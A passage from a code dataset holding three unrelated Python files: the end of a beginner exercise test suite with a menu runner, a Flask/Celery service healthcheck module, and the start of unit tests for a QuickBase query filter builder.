exercise_3_solution('p', 4)),\n evaluate(None, exercise_3_solution(3, 'p'))\n ]\n print_test_results(tests, \"Exercise 3\")\n\n\ndef exercise_4_tests():\n print(\"\\n\\tStart Exercise 4 Tests - Hello, Harry! \\n\")\n tests = [\n evaluate(\"Hello, Harry!\", exercise_4_solution(\"Harry\")),\n evaluate(\"Hello, Mr. Potter!\", exercise_4_solution(\"Mr. Potter\")),\n evaluate(\"Hello, Lord Voldemort!\", exercise_4_solution(\"Lord Voldemort\")),\n evaluate(\"Hello, Harry!\", exercise_4_solution(\" Harry \")),\n evaluate(\"Hello, Harry!\", exercise_4_solution(\" Harry \")),\n evaluate(\"Hello, Harry!\", exercise_4_solution(\"Harry \")),\n evaluate(None, exercise_4_solution(\"\")),\n evaluate(\"Hello, 7!\", exercise_4_solution(7))\n ]\n print_test_results(tests, \"Exercise 4\")\n\n\ndef exercise_5_tests():\n print(\"\\n\\tStart Exercise 5 Tests - Previous and next \\n\")\n tests = [\n evaluate((178, 180), exercise_5_solution(179)),\n evaluate((2718281828904589, 2718281828904591), exercise_5_solution(2718281828904590)),\n evaluate((-1, 1), exercise_5_solution(0)),\n evaluate(None, exercise_5_solution(\"ten\")),\n evaluate((-0.75, 1.25), exercise_5_solution(0.25)),\n evaluate((2.25, 4.25), exercise_5_solution(3.25))\n ]\n print_test_results(tests, \"Exercise 5\")\n\n\ndef exercise_6_tests():\n print(\"\\n\\tStart Exercise 6 Tests - School desks \\n\")\n tests = [\n evaluate(4, exercise_6_solution(1, 2, 3)),\n evaluate(32, exercise_6_solution(20, 21, 22)),\n evaluate(3, exercise_6_solution(1, 1, 1)),\n evaluate(1, exercise_6_solution(2, 0, 0)),\n evaluate(0, exercise_6_solution(0, 0, 0)),\n evaluate(31, exercise_6_solution(26, 20, 16)),\n evaluate(36, exercise_6_solution(25, 21, 23)),\n evaluate(28, exercise_6_solution(17, 19, 18)),\n evaluate(None, exercise_6_solution(-1, 2, 3)),\n evaluate(None, exercise_6_solution('a', 'b', 'c'))\n ]\n print_test_results(tests, \"Exercise 6\")\n\n\ndef exercise_7_tests():\n print(\"\\n\\tStart Exercise 7 Tests - Last digit of integer \\n\")\n tests = [\n evaluate(8, exercise_7_solution(408)),\n evaluate(9, exercise_7_solution(49)),\n evaluate(0, exercise_7_solution(10)),\n evaluate(0, exercise_7_solution(0)),\n evaluate(3, exercise_7_solution(-123)),\n evaluate(None, exercise_7_solution('p'))\n ]\n print_test_results(tests, \"Exercise 7\")\n\n\ndef exercise_8_tests():\n print(\"\\n\\tStart Exercise 8 Tests - Tenth digit \\n\")\n tests = [\n evaluate(8, exercise_8_solution(4080)),\n evaluate(9, exercise_8_solution(490)),\n evaluate(0, exercise_8_solution(100)),\n evaluate(5, exercise_8_solution(123456)),\n evaluate(0, exercise_8_solution(0)),\n evaluate(0, exercise_8_solution(1)),\n evaluate(0, exercise_8_solution(9)),\n evaluate(1, exercise_8_solution(10)),\n evaluate(1, exercise_8_solution(19)),\n evaluate(3, exercise_8_solution(-1230)),\n evaluate(None, exercise_8_solution('p'))\n ]\n print_test_results(tests, \"Exercise 8\")\n\n\ndef exercise_9_tests():\n print(\"\\n\\tStart Exercise 9 Tests - Sum of digits \\n\")\n tests = [\n evaluate(17, exercise_9_solution(179)),\n evaluate(19, exercise_9_solution(829)),\n evaluate(6, exercise_9_solution(204)),\n evaluate(1, exercise_9_solution(100)),\n evaluate(27, exercise_9_solution(999)),\n evaluate(15, exercise_9_solution(483)),\n evaluate(None, exercise_9_solution('pop'))\n ]\n print_test_results(tests, \"Exercise 9\")\n\n\ndef exercise_10_tests():\n print(\"\\n\\tStart Exercise 10 Tests - Fractional Part \\n\")\n tests = [\n evaluate((0.9, 2), exercise_10_solution(17.9)),\n evaluate((0.34, 3), exercise_10_solution(10.34)),\n evaluate((0.001, 4), exercise_10_solution(0.001)),\n evaluate((0.001, 4), exercise_10_solution(-0.001)),\n evaluate((0.0000001, 8), exercise_10_solution(-110.0000001)),\n evaluate((0, 2), exercise_10_solution(179.0)),\n evaluate((0.99, 3), exercise_10_solution(19.99)),\n evaluate((0.25, 3), exercise_10_solution(-255.25)),\n evaluate((0.25, 3), exercise_10_solution(-0.25)),\n evaluate((0, 2), exercise_10_solution(0)),\n evaluate((0, 2), exercise_10_solution(123)),\n evaluate((0, 2), exercise_10_solution(-25)),\n evaluate(None, exercise_10_solution('pop'))\n ]\n print_test_results(tests, \"Exercise 10\")\n\n\ndef exercise_11_tests():\n print(\"\\n\\tStart Exercise 11 Tests - First digit after decimal point \\n\")\n tests = [\n evaluate(7, exercise_11_solution(1.79)),\n evaluate(3, exercise_11_solution(10.34)),\n evaluate(0, exercise_11_solution(0.001)),\n evaluate(0, exercise_11_solution(179.00)),\n evaluate(9, exercise_11_solution(19.99)),\n evaluate(1, exercise_11_solution(179.12)),\n evaluate(2, exercise_11_solution(5.29)),\n evaluate(3, exercise_11_solution(0.31)),\n evaluate(4, exercise_11_solution(12.45)),\n evaluate(5, exercise_11_solution(18.58)),\n evaluate(8, exercise_11_solution(0.83)),\n evaluate(9, exercise_11_solution(999.99)),\n evaluate(6, exercise_11_solution(146.67)),\n evaluate(7, exercise_11_solution(1293.73)),\n evaluate(0, exercise_11_solution(0.09999)),\n evaluate(1, exercise_11_solution(312.19999)),\n evaluate(2, exercise_11_solution(901.29999)),\n evaluate(3, exercise_11_solution(3.39999)),\n evaluate(4, exercise_11_solution(2371.49999)),\n evaluate(5, exercise_11_solution(290.59999)),\n evaluate(6, exercise_11_solution(90291.69999)),\n evaluate(7, exercise_11_solution(412.79999)),\n evaluate(8, exercise_11_solution(1.89999)),\n evaluate(None, exercise_11_solution('a.float')),\n evaluate(None, exercise_11_solution('a.2')),\n evaluate(None, exercise_11_solution('2.float'))\n ]\n print_test_results(tests, \"Exercise 11\")\n\n\ndef exercise_12_tests():\n print(\"\\n\\tStart Exercise 12 Tests - Fractional Part \\n\")\n tests = [\n evaluate(2, exercise_12_solution(700, 750)),\n evaluate(3, exercise_12_solution(700, 2100)),\n evaluate(2, exercise_12_solution(10, 15)),\n evaluate(2, exercise_12_solution(10, 16)),\n evaluate(2, exercise_12_solution(10, 19)),\n evaluate(7, exercise_12_solution(10, 70)),\n evaluate(9, exercise_12_solution(10, 81)),\n evaluate(100, exercise_12_solution(10, 1000)),\n evaluate(101, exercise_12_solution(10, 1001)),\n evaluate(100, exercise_12_solution(10, 999)),\n evaluate(1, exercise_12_solution(10, 1)),\n evaluate(1, exercise_12_solution(10, 9)),\n evaluate(20, exercise_12_solution(483, 9382)),\n evaluate(1905, exercise_12_solution(123, 234234)),\n evaluate(None, exercise_12_solution('p', 1)),\n evaluate(None, exercise_12_solution(1, 'p'))\n ]\n print_test_results(tests, \"Exercise 12\")\n\n\ndef exercise_13_tests():\n print(\"\\n\\tStart Exercise 13 Tests - Digital Clock \\n\")\n tests = [\n evaluate((2, 30), exercise_13_solution(150)),\n evaluate((3, 0), exercise_13_solution(180)),\n evaluate((7, 24), exercise_13_solution(444)),\n evaluate((18, 31), exercise_13_solution(1111)),\n evaluate((23, 59), exercise_13_solution(1439)),\n evaluate((00, 00), exercise_13_solution(1440)),\n evaluate((00, 1), exercise_13_solution(1441)),\n evaluate((1, 40), exercise_13_solution(2980))\n ]\n print_test_results(tests, \"Exercise 13\")\n\n\ndef exercise_14_tests():\n print(\"\\n\\tStart Exercise 14 Tests - Total Cost \\n\")\n tests = [\n evaluate((10, 0), exercise_14_solution(2, 50, 4)),\n evaluate((20, 30), exercise_14_solution(10, 15, 2)),\n evaluate((9002970, 0), exercise_14_solution(3000, 99, 3000)),\n evaluate((3750220, 32), exercise_14_solution(2029, 34, 1848)),\n evaluate((556585, 35), exercise_14_solution(1886, 73, 295)),\n evaluate((2103509, 80), exercise_14_solution(1069, 40, 1967)),\n evaluate((449271, 84), exercise_14_solution(905, 79, 496)),\n evaluate((1822284, 66), exercise_14_solution(1967, 91, 926)),\n evaluate((2458778, 40), exercise_14_solution(2255, 76, 1090))\n ]\n print_test_results(tests, \"Exercise 14\")\n\n\ndef exercise_15_tests():\n print(\"\\n\\tStart Exercise 15 Tests - Clock Face-1 \\n\")\n tests = [\n evaluate(31.05, exercise_15_solution(1, 2, 6)),\n evaluate(30.0, exercise_15_solution(1, 0, 0)),\n evaluate(30.0, exercise_15_solution(13, 0, 0)),\n evaluate(0.5, exercise_15_solution(0, 1, 0)),\n evaluate(0.5, exercise_15_solution(12, 1, 0)),\n evaluate(1.0, exercise_15_solution(0, 2, 0)),\n evaluate(1.008, exercise_15_solution(0, 2, 1)),\n evaluate(0.008, exercise_15_solution(0, 0, 1)),\n evaluate(359.992, exercise_15_solution(11, 59, 59)),\n evaluate(359.992, exercise_15_solution(23, 59, 59)),\n evaluate(219.408, exercise_15_solution(7, 18, 49)),\n evaluate(219.408, exercise_15_solution(19, 18, 49)),\n evaluate(147.458, exercise_15_solution(4, 54, 55)),\n evaluate(147.458, exercise_15_solution(16, 54, 55))\n ]\n print_test_results(tests, \"Exercise 15\")\n\n\ndef exercise_16_tests():\n print(\"\\n\\tStart Exercise 16 Tests - Clock Face-2 \\n\")\n tests = [\n evaluate(120, exercise_16_solution(190)),\n evaluate(0, exercise_16_solution(0)),\n evaluate(60, exercise_16_solution(5)),\n evaluate(120, exercise_16_solution(10)),\n evaluate(180, exercise_16_solution(15)),\n evaluate(240, exercise_16_solution(20)),\n evaluate(300, exercise_16_solution(25)),\n evaluate(348, exercise_16_solution(29)),\n evaluate(0, exercise_16_solution(30)),\n evaluate(12, exercise_16_solution(31)),\n evaluate(120, exercise_16_solution(40)),\n evaluate(348, exercise_16_solution(59)),\n evaluate(0, exercise_16_solution(60)),\n evaluate(12, exercise_16_solution(61)),\n evaluate(120, exercise_16_solution(70)),\n evaluate(348, exercise_16_solution(89)),\n evaluate(0, exercise_16_solution(90)),\n evaluate(60, exercise_16_solution(95)),\n evaluate(348, exercise_16_solution(179)),\n evaluate(120, exercise_16_solution(190)),\n evaluate(144, exercise_16_solution(192)),\n evaluate(0, exercise_16_solution(300)),\n evaluate(348, exercise_16_solution(359)),\n evaluate(12, exercise_16_solution(1)),\n evaluate(144, exercise_16_solution(132)),\n evaluate(0.5, exercise_16_solution(6.0)),\n evaluate(0.0012, exercise_16_solution(0.0001)),\n evaluate(159.526, exercise_16_solution(73.2938)),\n evaluate(359.928, exercise_16_solution(119.994))\n ]\n\n print_test_results(tests, \"Exercise 16\")\n\n\ndef exercise_17_tests():\n print(\"\\n\\tStart Exercise 17 Tests - Minimum of two numbers \\n\")\n tests = [\n evaluate(3, exercise_17_solution(3, 7)),\n evaluate(2, exercise_17_solution(2, 2)),\n evaluate(-8, exercise_17_solution(15, -8)),\n evaluate(-15, exercise_17_solution(-15, -8))\n ]\n print_test_results(tests, \"Exercise 17\")\n\n\ndef exercise_18_tests():\n print(\"\\n\\tStart Exercise 18 Tests - Sign function \\n\")\n tests = [\n evaluate(1, exercise_18_solution(179)),\n evaluate(-1, exercise_18_solution(-42)),\n evaluate(0, exercise_18_solution(0)),\n evaluate(1, exercise_18_solution(17)),\n evaluate(-1, exercise_18_solution(-100)),\n ]\n print_test_results(tests, \"Exercise 18\")\n\n\ndef exercise_19_tests():\n print(\"\\n\\tStart Exercise 19 Tests - Minimum of three numbers \\n\")\n tests = [\n evaluate(3, exercise_19_solution(5, 3, 7)),\n evaluate(4, exercise_19_solution(10, 30, 4)),\n evaluate(1, exercise_19_solution(1, 10, 20)),\n evaluate(11, exercise_19_solution(74, 32, 11)),\n evaluate(25, exercise_19_solution(50, 80, 25)),\n evaluate(-5, exercise_19_solution(-5, -3, -3))\n ]\n print_test_results(tests, \"Exercise 19\")\n\n\ndef exercise_20_tests():\n print(\"\\n\\tStart Exercise 20 Tests - Leap year \\n\")\n tests = [\n evaluate(\"LEAP\", exercise_20_solution(2012)),\n evaluate(\"COMMON\", exercise_20_solution(2011)),\n evaluate(\"LEAP\", exercise_20_solution(1492)),\n evaluate(\"COMMON\", exercise_20_solution(1861)),\n evaluate(\"LEAP\", exercise_20_solution(1600)),\n evaluate(\"COMMON\", exercise_20_solution(1700)),\n evaluate(\"COMMON\", exercise_20_solution(1800)),\n evaluate(\"COMMON\", exercise_20_solution(1900)),\n evaluate(\"LEAP\", exercise_20_solution(2000)),\n ]\n print_test_results(tests, \"Exercise 20\")\n\n\ndef exercise_21_tests():\n print(\"\\n\\tStart Exercise 21 Tests - Equal numbers \\n\")\n tests = [\n evaluate(2, exercise_21_solution(10, 5, 10)),\n evaluate(2, exercise_21_solution(5, 10, 10)),\n evaluate(2, exercise_21_solution(10, 10, 5)),\n evaluate(2, exercise_21_solution(17, 17, -9)),\n evaluate(2, exercise_21_solution(4, -82, -82)),\n evaluate(0, exercise_21_solution(5, 2, 4)),\n evaluate(0, exercise_21_solution(-149, -146, -142)),\n evaluate(3, exercise_21_solution(666, 666, 666))\n ]\n print_test_results(tests, \"Exercise 21\")\n\n\ndef exercise_22_tests():\n print(\"\\n\\tStart Exercise 22 Tests - Rook move \\n\")\n tests = [\n evaluate(\"NO\", exercise_22_solution(4, 4, 5, 5)),\n evaluate(\"YES\", exercise_22_solution(4, 4, 5, 4)),\n evaluate(\"NO\", exercise_22_solution(4, 4, 5, 3)),\n evaluate(\"YES\", exercise_22_solution(4, 4, 4, 5)),\n evaluate(\"NO\", exercise_22_solution(4, 4, 3, 5)),\n evaluate(\"YES\", exercise_22_solution(4, 4, 4, 3)),\n evaluate(\"YES\", exercise_22_solution(4, 4, 3, 4)),\n evaluate(\"NO\", exercise_22_solution(4, 4, 3, 3)),\n evaluate(\"YES\", exercise_22_solution(1, 1, 1, 8)),\n evaluate(\"NO\", exercise_22_solution(1, 1, 8, 8)),\n evaluate(\"YES\", exercise_22_solution(1, 1, 8, 1)),\n evaluate(\"YES\", exercise_22_solution(1, 8, 8, 8)),\n evaluate(\"NO\", exercise_22_solution(1, 8, 8, 1)),\n evaluate(\"YES\", exercise_22_solution(1, 8, 1, 1)),\n evaluate(\"YES\", exercise_22_solution(8, 8, 8, 1)),\n evaluate(\"NO\", exercise_22_solution(8, 8, 1, 1)),\n evaluate(\"YES\", exercise_22_solution(8, 8, 1, 8)),\n evaluate(\"YES\", exercise_22_solution(8, 1, 1, 1)),\n evaluate(\"NO\", exercise_22_solution(8, 1, 1, 8)),\n evaluate(\"YES\", exercise_22_solution(8, 1, 8, 8)),\n evaluate(\"YES\", exercise_22_solution(1, 1, 1, 2)),\n evaluate(\"NO\", exercise_22_solution(1, 1, 2, 2)),\n evaluate(\"YES\", exercise_22_solution(1, 1, 2, 1)),\n evaluate(\"NO\", exercise_22_solution(4, 4, 6, 6)),\n evaluate(\"NO\", exercise_22_solution(4, 4, 2, 2))\n ]\n print_test_results(tests, \"Exercise 22\")\n\n\ndef exercise_23_tests():\n print(\"\\n\\tStart Exercise 23 Tests - Chess board \\n\")\n tests = [\n evaluate(\"YES\", exercise_23_solution(1, 1, 2, 6)),\n evaluate(\"NO\", exercise_23_solution(2, 2, 2, 5)),\n evaluate(\"YES\", exercise_23_solution(2, 2, 2, 4)),\n evaluate(\"YES\", exercise_23_solution(2, 3, 3, 2)),\n evaluate(\"YES\", exercise_23_solution(2, 3, 7, 8)),\n evaluate(\"NO\", exercise_23_solution(2, 3, 8, 8)),\n evaluate(\"YES\", exercise_23_solution(5, 7, 5, 7)),\n evaluate(\"YES\", exercise_23_solution(2, 6, 3, 1)),\n evaluate(\"YES\", exercise_23_solution(2, 3, 4, 5)),\n evaluate(\"YES\", exercise_23_solution(7, 2, 2, 3))\n ]\n print_test_results(tests, \"Exercise 23\")\n\n\ndef exercise_24_tests():\n print(\"\\n\\tStart Exercise 24 Tests - King move \\n\")\n tests = [\n evaluate(\"YES\", exercise_24_solution(4, 4, 5, 5)),\n evaluate(\"YES\", exercise_24_solution(4, 4, 5, 4)),\n evaluate(\"YES\", exercise_24_solution(4, 4, 5, 3)),\n evaluate(\"YES\", exercise_24_solution(4, 4, 4, 5)),\n evaluate(\"YES\", exercise_24_solution(4, 4, 3, 5)),\n evaluate(\"YES\", exercise_24_solution(4, 4, 4, 3)),\n evaluate(\"YES\", exercise_24_solution(4, 4, 3, 4)),\n evaluate(\"YES\", exercise_24_solution(4, 4, 3, 3)),\n evaluate(\"NO\", exercise_24_solution(1, 1, 1, 8)),\n evaluate(\"NO\", exercise_24_solution(1, 1, 8, 8)),\n evaluate(\"NO\", exercise_24_solution(1, 1, 8, 1)),\n evaluate(\"NO\", exercise_24_solution(1, 8, 8, 8)),\n evaluate(\"NO\", exercise_24_solution(1, 8, 8, 1)),\n evaluate(\"NO\", exercise_24_solution(1, 8, 1, 1)),\n evaluate(\"NO\", exercise_24_solution(8, 8, 8, 1)),\n evaluate(\"NO\", exercise_24_solution(8, 8, 1, 1)),\n evaluate(\"NO\", exercise_24_solution(8, 8, 1, 8)),\n evaluate(\"NO\", exercise_24_solution(8, 1, 1, 1)),\n evaluate(\"NO\", exercise_24_solution(8, 1, 1, 8)),\n evaluate(\"NO\", exercise_24_solution(8, 1, 8, 8)),\n evaluate(\"YES\", exercise_24_solution(1, 1, 1, 2)),\n evaluate(\"YES\", exercise_24_solution(1, 1, 2, 2)),\n evaluate(\"YES\", exercise_24_solution(1, 1, 2, 1)),\n evaluate(\"NO\", exercise_24_solution(4, 4, 6, 6)),\n evaluate(\"NO\", exercise_24_solution(4, 4, 2, 2)),\n evaluate(\"NO\", exercise_24_solution(4, 4, 6, 2)),\n evaluate(\"NO\", exercise_24_solution(4, 4, 2, 6)),\n evaluate(\"NO\", exercise_24_solution(4, 4, 2, 7)),\n evaluate(\"NO\", exercise_24_solution(4, 4, 4, 6)),\n evaluate(\"NO\", exercise_24_solution(4, 4, 2, 4)),\n evaluate(\"NO\", exercise_24_solution(4, 4, 5, 6)),\n evaluate(\"YES\", exercise_24_solution(1, 7, 1, 8)),\n evaluate(\"NO\", exercise_24_solution(4, 3, 2, 2))\n ]\n print_test_results(tests, \"Exercise 24\")\n\n\ndef exercise_25_tests():\n print(\"\\n\\tStart Exercise 25 Tests - King move \\n\")\n tests = [\n evaluate(\"YES\", exercise_25_solution(4, 4, 5, 5)),\n evaluate(\"NO\", exercise_25_solution(4, 4, 5, 4)),\n evaluate(\"YES\", exercise_25_solution(4, 4, 5, 3)),\n evaluate(\"NO\", exercise_25_solution(4, 4, 4, 5)),\n evaluate(\"YES\", exercise_25_solution(4, 4, 3, 5)),\n evaluate(\"NO\", exercise_25_solution(4, 4, 4, 3)),\n evaluate(\"NO\", exercise_25_solution(4, 4, 3, 4)),\n evaluate(\"YES\", exercise_25_solution(4, 4, 3, 3)),\n evaluate(\"NO\", exercise_25_solution(1, 1, 1, 8)),\n evaluate(\"YES\", exercise_25_solution(1, 1, 8, 8)),\n evaluate(\"NO\", exercise_25_solution(1, 1, 8, 1)),\n evaluate(\"NO\", exercise_25_solution(1, 8, 8, 8)),\n evaluate(\"YES\", exercise_25_solution(1, 8, 8, 1)),\n evaluate(\"NO\", exercise_25_solution(1, 8, 1, 1)),\n evaluate(\"NO\", exercise_25_solution(8, 8, 8, 1)),\n evaluate(\"YES\", exercise_25_solution(8, 8, 1, 1)),\n evaluate(\"NO\", exercise_25_solution(8, 8, 1, 8)),\n evaluate(\"NO\", exercise_25_solution(8, 1, 1, 1)),\n evaluate(\"YES\", exercise_25_solution(8, 1, 1, 8)),\n evaluate(\"NO\", exercise_25_solution(8, 1, 8, 8)),\n evaluate(\"NO\", exercise_25_solution(1, 1, 1, 2)),\n evaluate(\"YES\", exercise_25_solution(1, 1, 2, 2)),\n evaluate(\"NO\", exercise_25_solution(1, 1, 2, 1)),\n evaluate(\"YES\", exercise_25_solution(4, 4, 6, 6)),\n evaluate(\"YES\", exercise_25_solution(4, 4, 2, 2)),\n evaluate(\"YES\", exercise_25_solution(4, 4, 6, 2)),\n evaluate(\"YES\", exercise_25_solution(4, 4, 2, 6)),\n evaluate(\"NO\", exercise_25_solution(4, 4, 2, 7)),\n evaluate(\"NO\", exercise_25_solution(4, 4, 4, 6)),\n evaluate(\"NO\", exercise_25_solution(4, 4, 2, 4)),\n evaluate(\"NO\", exercise_25_solution(7, 4, 2, 5)),\n evaluate(\"NO\", exercise_25_solution(7, 5, 1, 1))\n ]\n print_test_results(tests, \"Exercise 25\")\n\n\ndef exercise_26_tests():\n print(\"\\n\\tStart Exercise 26 Tests - King move \\n\")\n tests = [\n evaluate(\"YES\", exercise_26_solution(1, 1, 2, 2)),\n evaluate(\"NO\", exercise_26_solution(1, 1, 2, 3)),\n evaluate(\"NO\", exercise_26_solution(5, 6, 3, 3)),\n evaluate(\"YES\", exercise_26_solution(3, 3, 1, 1)),\n evaluate(\"YES\", exercise_26_solution(6, 5, 2, 5)),\n evaluate(\"NO\", exercise_26_solution(7, 6, 5, 2)),\n evaluate(\"YES\", exercise_26_solution(2, 7, 6, 7)),\n evaluate(\"NO\", exercise_26_solution(2, 7, 4, 6)),\n evaluate(\"NO\", exercise_26_solution(7, 4, 2, 5)),\n evaluate(\"NO\", exercise_26_solution(7, 5, 1, 1)),\n evaluate(\"YES\", exercise_26_solution(2, 4, 5, 7)),\n evaluate(\"YES\", exercise_26_solution(3, 5, 7, 1)),\n evaluate(\"YES\", exercise_26_solution(5, 2, 5, 8)),\n evaluate(\"NO\", exercise_26_solution(1, 2, 3, 1)),\n evaluate(\"NO\", exercise_26_solution(2, 1, 1, 3)),\n ]\n print_test_results(tests, \"Exercise 26\")\n\n\ndef exercise_27_tests():\n print(\"\\n\\tStart Exercise 27 Tests - Knight move \\n\")\n tests = [\n evaluate(\"NO\", exercise_27_solution(1, 1, 1, 4)),\n evaluate(\"NO\", exercise_27_solution(1, 1, 8, 8)),\n evaluate(\"YES\", exercise_27_solution(2, 4, 3, 2)),\n evaluate(\"YES\", exercise_27_solution(5, 2, 4, 4)),\n evaluate(\"NO\", exercise_27_solution(2, 8, 3, 7)),\n evaluate(\"NO\", exercise_27_solution(2, 8, 3, 5)),\n evaluate(\"NO\", exercise_27_solution(5, 5, 3, 7)),\n evaluate(\"NO\", exercise_27_solution(2, 4, 2, 5)),\n evaluate(\"YES\", exercise_27_solution(4, 7, 6, 6)),\n evaluate(\"YES\", exercise_27_solution(4, 5, 2, 4)),\n evaluate(\"NO\", exercise_27_solution(2, 3, 3, 2)),\n evaluate(\"YES\", exercise_27_solution(5, 1, 4, 3)),\n evaluate(\"YES\", exercise_27_solution(6, 2, 8, 3))\n\n ]\n print_test_results(tests, \"Exercise 27\")\n\n\ndef exercise_28_tests():\n print(\"\\n\\tStart Exercise 28 Tests - Chocolate bar \\n\")\n tests = [\n evaluate(\"YES\", exercise_28_solution(4, 2, 6)),\n evaluate(\"NO\", exercise_28_solution(2, 10, 7)),\n evaluate(\"NO\", exercise_28_solution(5, 7, 1)),\n evaluate(\"YES\", exercise_28_solution(7, 4, 21)),\n evaluate(\"NO\", exercise_28_solution(5, 12, 100)),\n evaluate(\"YES\", exercise_28_solution(6, 6, 6)),\n evaluate(\"NO\", exercise_28_solution(6, 6, 35)),\n evaluate(\"NO\", exercise_28_solution(6, 6, 37)),\n evaluate(\"NO\", exercise_28_solution(7, 1, 99)),\n evaluate(\"YES\", exercise_28_solution(300, 100, 3000)),\n evaluate(\"NO\", exercise_28_solution(256, 124, 4069)),\n evaluate(\"NO\", exercise_28_solution(348, 41, 6183)),\n evaluate(\"YES\", exercise_28_solution(387, 13, 2709)),\n evaluate(\"YES\", exercise_28_solution(13, 387, 2709)),\n evaluate(\"NO\", exercise_28_solution(1, 1, 2))\n ]\n print_test_results(tests, \"Exercise 28\")\n\n\n#########################\n# Main executable #\n#########################\n\ndef main():\n print(\"\\nSelect option to run an exercise:\"\n \"\\n\\t0 - Run all test cases (exercises 1 - 28)\"\n \"\\n\\t1 - Sum of three numbers\"\n \"\\n\\t2 - Area of right-angled triangle\"\n \"\\n\\t3 - Apple sharing\"\n \"\\n\\t4 - Hello, Harry! \"\n \"\\n\\t5 - Previous and next \"\n \"\\n\\t6 - School desks \"\n \"\\n\\t7 - Last digit of integer \"\n \"\\n\\t8 - Tenth digit \"\n \"\\n\\t9 - Sum of digits \"\n \"\\n\\t10 - Fractional part \"\n \"\\n\\t11 - First digit after decimal point \"\n \"\\n\\t12 - Car route \"\n \"\\n\\t13 - Digital Clock \"\n \"\\n\\t14 - Total Cost \"\n \"\\n\\t15 - Clock Face-1 \"\n \"\\n\\t16 - Clock Face-2 \"\n \"\\n\\t17 - Minimum of two numbers \"\n \"\\n\\t18 - Sign function \"\n \"\\n\\t19 - Minimum of three numbers \"\n \"\\n\\t20 - Leap year \"\n \"\\n\\t21 - Equal numbers \"\n \"\\n\\t22 - Rook move \"\n \"\\n\\t23 - Chess board \"\n \"\\n\\t24 - King move \"\n \"\\n\\t25 - Bishop moves \"\n \"\\n\\t26 - Queen move \"\n \"\\n\\t27 - Knight move \"\n \"\\n\\t28 - Chocolate bar \"\n \"\\n\\t100 - Run ALL exercises \"\n )\n tests = [\n exercise_1_tests, exercise_2_tests, exercise_3_tests, exercise_4_tests, exercise_5_tests, exercise_6_tests,\n exercise_7_tests, exercise_8_tests, exercise_9_tests, exercise_10_tests, exercise_11_tests, exercise_12_tests,\n exercise_13_tests, exercise_14_tests, exercise_15_tests, exercise_16_tests, exercise_17_tests, exercise_18_tests,\n exercise_19_tests, exercise_20_tests, exercise_21_tests, exercise_22_tests, exercise_23_tests, exercise_24_tests,\n exercise_25_tests, exercise_26_tests, exercise_27_tests, exercise_28_tests]\n\n exercises = [\n exercise_1, exercise_2, exercise_3, exercise_4, exercise_5, exercise_6,\n exercise_7, exercise_8, exercise_9, exercise_10, exercise_11, exercise_12,\n exercise_13, exercise_14, exercise_15, exercise_16, exercise_17, exercise_18,\n exercise_19, exercise_20, exercise_21, exercise_22, exercise_23, exercise_24,\n exercise_25, exercise_26, exercise_27, exercise_28]\n try:\n option = int(input(\"option: \",))\n except:\n print(\"invalid option input, select again\")\n else:\n if option == 0:\n global debug\n debug = True\n for test in tests:\n test()\n elif( option > 0 and option <= len(exercises)):\n exercise = exercises[option-1]\n exercise()\n elif(option == 100):\n for exercise in exercises:\n exercise()\n else:\n print(\"invalid option index, select again\")\n\n####################################\n# Run Exercises / Test suite #\n####################################\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"assignment1.py","file_name":"assignment1.py","file_ext":"py","file_size_in_byte":57709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"71266544","text":"from redis import RedisError\nfrom sqlalchemy.exc import SQLAlchemyError\nfrom kombu.exceptions import OperationalError \nfrom flask import current_app\nfrom itertools import chain\nfrom celery.exceptions import TimeoutError\n\nfrom APITaxi_models import db\nfrom APITaxi.extensions import celery as celery_app, redis_store, redis_store_saved\n\ndef all_healthchecks(with_task=True):\n redis_result = redis_healthcheck(redis_store)\n result = {\n 'postgresql': postgresql_healthcheck(),\n 'redis': redis_result,\n 'redis-saved': redis_healthcheck(redis_store_saved),\n 'celery': celery_healthcheck(redis_result[0]),\n }\n if with_task:\n result['worker_healthchecks'] = worker_healthchecks(redis_result[0])\n return result\n\ndef status(checks):\n return 'ok' if all([v[0] for v in checks.values()]) else 'error'\n\ndef postgresql_healthcheck():\n \"\"\" Ensures database `engine` is available.\n \"\"\"\n try:\n db.session.execute('SELECT 1').fetchone()\n except (IOError, SQLAlchemyError):\n return False, 'Unable to reach database'\n return True, 'ok'\n\ndef redis_healthcheck(redis_store):\n try:\n redis_store.ping()\n except RedisError as e:\n current_app.logger.error(e)\n return False, 'Unable to reach redis'\n return True, 'ok'\n\ndef celery_healthcheck(redis_check=True):\n if not redis_check:\n return False, 'Unable to reach redis'\n try:\n result = celery_app.control.ping()\n check = all(chain(*[d.keys() for d in chain(*[v.values() for v in result])]))\n return check, 'ok' if check else result\n except RedisError as e:\n current_app.logger.error(e)\n return False, 'Unable to reach redis'\n\ndef worker_healthchecks(redis_check=True):\n from APITaxi.tasks import task_healthchecks\n\n if not redis_check:\n return False, 'Unable to reach redis'\n try:\n checks = task_healthchecks.apply_async(queue='send_hail_' + current_app.config['NOW']).get(timeout=1)\n status_ = status(checks)\n return status_ == 'ok', status_ if status_ == 'ok' else checks\n except OperationalError as e:\n current_app.logger.error(e)\n return False, 'Kombu error'\n except RedisError as e:\n current_app.logger.error(e)\n return False, 'Redis Error'\n except TimeoutError as e:\n current_app.logger.error(e)\n return False, 'Celery timeout'\n","sub_path":"APITaxi_utils/healthchecks.py","file_name":"healthchecks.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"370951838","text":"\nimport unittest\n\nfrom quickbasepy.filter import Filter, FilterField\n\nclass TestFilter(unittest.TestCase):\n\n class MockTable:\n\n fields = {\n 'name': 0,\n 'age': 1,\n 'fav_color': 2\n }\n\n def test_basics(self):\n\n table = self.MockTable()\n\n f = Filter(table)\n\n f &= f.field('name').equals('pugsly')\n\n self.assertEqual(f.query, \"{'0'.EX.'pugsly'}\")\n\n f &= f.field('age').equals('9')\n\n self.assertEqual(f.query, \"{'0'.EX.'pugsly'} AND {'1'.EX.'9'}\")\n\n def test_and_context(self):\n\n table = self.MockTable()\n\n f = Filter(table)\n\n with f.and_context as fand:\n\n fand &= fand.field('name').equals('pugsly')\n\n self.assertEqual(f.query, \"( {'0'.EX.'pugsly'} )\")\n\n def test_or_context(self):\n\n table = self.MockTable()\n\n f = Filter(table)\n\n with f.or_context as forc:\n\n forc &= forc.field('name').equals('pugsly')\n forc |= forc.field('age').equals(9)\n\n self.assertEqual(f.query, \"( {'0'.EX.'pugsly'} OR 